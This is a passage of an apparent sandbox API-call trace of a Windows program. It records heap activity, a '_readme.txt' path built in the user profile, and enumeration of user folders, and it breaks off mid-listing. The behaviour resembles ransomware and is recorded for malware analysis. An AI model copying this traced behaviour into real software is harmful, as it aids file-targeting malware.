0x3067040 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.614] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc700 [0122.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.615] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.615] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.615] PathFindFileNameW (pszPath="") returned="" [0122.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.615] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.615] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.615] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.615] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.615] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.615] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0122.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.616] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce1e0 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce760 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x3018950 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.616] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f536a0 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x38) returned 0x2ffa868 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce1e0 [0122.616] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14098f70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce760 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x54) returned 0x2ff0720 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce6b0 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f536a0 [0122.616] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce760 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce600 [0122.616] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x142ae2b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce760 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa8) returned 0x2f650e0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce6b0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f536a0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce080 [0122.617] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144c35f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.617] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.617] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce1e0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.617] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 